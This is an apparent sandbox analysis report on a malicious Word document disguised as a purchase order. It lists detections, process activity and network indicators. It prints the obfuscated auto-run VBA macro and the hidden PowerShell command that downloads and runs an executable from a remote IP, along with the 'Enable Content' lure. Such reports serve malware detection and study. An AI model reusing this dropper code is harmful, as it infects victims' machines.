Analysis Report RFL_PO 69002.doc

Overview

General Information

Sample Name: RFL_PO 69002.doc
Analysis ID: 433026
MD5: ee4431e2c986dcac3fc8078c674ba65e
SHA1: 64aa75122963e38f52739ba819788e4bfcfb3651
SHA256: 4219dd0fbae4f8d9e9964eac82293fefc6a7f1b75242473f6347daed349198a2
Tags: doc
Infos:

Most interesting Screenshot:

Detection

Score: 84
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document contains an embedded VBA macro which may execute processes
Document contains an embedded VBA macro with suspicious strings
Document exploit detected (process start blacklist hit)
Machine Learning detection for sample
Sigma detected: Microsoft Office Product Spawning Windows Shell
Contains long sleeps (>= 3 min)
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Non Interactive PowerShell
Sigma detected: Suspicious Bitsadmin Job via PowerShell

Classification

AV Detection:

barindex
Multi AV Scanner detection for domain / URL
Source: http://31.210.20.45/1xBet/RFL_0769002.exe Virustotal: Detection: 6% Perma Link
Multi AV Scanner detection for submitted file
Source: RFL_PO 69002.doc Virustotal: Detection: 15% Perma Link
Source: RFL_PO 69002.doc ReversingLabs: Detection: 21%
Machine Learning detection for sample
Source: RFL_PO 69002.doc Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000002.00000002.2070730156.0000000002B30000.00000002.00000001.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking:

barindex
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: PLUSSERVER-ASN1DE PLUSSERVER-ASN1DE
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9B00F2CD-537D-406E-B057-1B1541B1D39D}.tmp Jump to behavior
Source: RFL_PO 69002.doc String found in binary or memory: http://31.210.20.45/1xBet/RFL_0769002.ex
Source: RFL_PO 69002.doc String found in binary or memory: http://31.210.20.45/1xBet/RFL_0769002.ex9
Source: powershell.exe, 00000002.00000002.2068494713.00000000000E0000.00000004.00000020.sdmp String found in binary or memory: http://31.210.20.45/1xBet/RFL_0769002.exe
Source: powershell.exe, 00000002.00000002.2068560577.0000000000193000.00000004.00000020.sdmp, powershell.exe, 00000002.00000002.2068695436.0000000000374000.00000004.00000040.sdmp String found in binary or memory: http://31.210.20.45/1xBet/RFL_0769002.exe-DestinationC:
Source: powershell.exe, 00000002.00000002.2068535215.0000000000169000.00000004.00000020.sdmp String found in binary or memory: http://31.210.20.45/1xBet/RFL_0769002.exe2.exe
Source: powershell.exe, 00000002.00000002.2069410640.0000000002340000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000002.00000002.2069410640.0000000002340000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable Editing" from the yellow bar and then click "Enable Content" Protected File From Ohiohealt
Source: Screenshot number: 4 Screenshot OCR: Enable Content" Protected File From Ohiohealth Hardin Memorial Hospital O "g" ' 0' ' I WO"
Source: Document image extraction number: 0 Screenshot OCR: Enable Editing" from the yellow bar and then click "Enable Content" Protected File From Ohiohealt
Source: Document image extraction number: 0 Screenshot OCR: Enable Content" Protected File From Ohiohealth Hardin Memorial Hospital
Source: Document image extraction number: 1 Screenshot OCR: Enable Editing" from the yellow bar and then click "Enable Content" Protected File From Ohiohealt
Source: Document image extraction number: 1 Screenshot OCR: Enable Content" Protected File From Ohiohealth Hardin Memorial Hospital
Document contains an embedded VBA macro which may execute processes
Source: RFL_PO 69002.doc OLE, VBA macro line: rememberhead = CreateObject("wscript.s" & calllife).Run(insidewith & calllife & " -w h Start-Bit" & Chr(115) & "Transfer -Source " & Chr(34) & "http://31.210.20.45/1xBet/RFL_0769002.ex" & Chr(101) & Chr(34) & " -Destination " & Chr(34) & "C:\Users\Public\Documents\nothinglittle.ex" & Chr(101) & Chr(34) & ";C:\Users\Public\Documents\nothinglittle.ex" & Chr(101))
Source: VBA code instrumentation OLE, VBA macro: Module ThisDocument, Function Document_Open, API IWshShell3.Run("powershell -w h Start-BitsTransfer -Source "http://31.210.20.45/1xBet/RFL_0769002.exe" -Destination "C:\Users\Public\Documents\nothinglittle.exe";C:\Users\Public\Documents\nothinglittle.exe") Name: Document_Open
Document contains an embedded VBA macro with suspicious strings
Source: RFL_PO 69002.doc OLE, VBA macro line: rememberhead = CreateObject("wscript.s" & calllife).Run(insidewith & calllife & " -w h Start-Bit" & Chr(115) & "Transfer -Source " & Chr(34) & "http://31.210.20.45/1xBet/RFL_0769002.ex" & Chr(101) & Chr(34) & " -Destination " & Chr(34) & "C:\Users\Public\Documents\nothinglittle.ex" & Chr(101) & Chr(34) & ";C:\Users\Public\Documents\nothinglittle.ex" & Chr(101))
Source: VBA code instrumentation OLE, VBA macro: Module ThisDocument, Function Document_Open, String wscript: rememberhead = CreateObject("wscript.s" & calllife).Run(insidewith & calllife & " -w h Start-Bit" & Chr(115) & "Transfer -Source " & Chr(34) & "http://31.210.20.45/1xBet/RFL_0769002.ex" & Chr(101) & Chr(34) & " -Destination " & Chr(34) & "C:\Users\Public\Documents\nothinglittle.ex" & Chr(101) & Chr(34) & ";C:\Users\Public\Documents\nothinglittle.ex" & Chr(101)) Name: Document_Open
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: RFL_PO 69002.doc OLE, VBA macro line: Private Sub Document_Open()
Source: VBA code instrumentation OLE, VBA macro: Module ThisDocument, Function Document_Open Name: Document_Open
Document contains embedded VBA macros
Source: RFL_PO 69002.doc OLE indicator, VBA macros: true
Source: classification engine Classification label: mal84.expl.winDOC@3/6@0/1
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$L_PO 69002.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRAD4E.tmp Jump to behavior
Source: RFL_PO 69002.doc OLE indicator, Word Document stream: true
Source: RFL_PO 69002.doc OLE document summary: title field not present or empty
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..................x...............................x.....................`I.........v.....................K..............4....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................%.v......................u.............}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: RFL_PO 69002.doc Virustotal: Detection: 15%
Source: RFL_PO 69002.doc ReversingLabs: Detection: 21%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -w h Start-BitsTransfer -Source 'http://31.210.20.45/1xBet/RFL_0769002.exe' -Destination 'C:\Users\Public\Documents\nothinglittle.exe';C:\Users\Public\Documents\nothinglittle.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -w h Start-BitsTransfer -Source 'http://31.210.20.45/1xBet/RFL_0769002.exe' -Destination 'C:\Users\Public\Documents\nothinglittle.exe';C:\Users\Public\Documents\nothinglittle.exe Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000002.00000002.2070730156.0000000002B30000.00000002.00000001.sdmp
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: RFL_PO 69002.doc Stream path 'Data' entropy: 7.9926896989 (max. 8.0)

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2480 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: powershell.exe, 00000002.00000002.2068506136.000000000011E000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

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Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

Language, Device and Operating System Detection:

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Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
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  • Is Windows Process
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  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 433026 Sample: RFL_PO 69002.doc Startdate: 11/06/2021 Architecture: WINDOWS Score: 84 13 Multi AV Scanner detection for domain / URL 2->13 15 Multi AV Scanner detection for submitted file 2->15 17 Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) 2->17 19 5 other signatures 2->19 6 WINWORD.EXE 292 21 2->6         started        process3 process4 8 powershell.exe 6 6->8         started        dnsIp5 11 31.210.20.45 PLUSSERVER-ASN1DE Netherlands 8->11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
31.210.20.45
 unknown Netherlands
61157 PLUSSERVER-ASN1DE true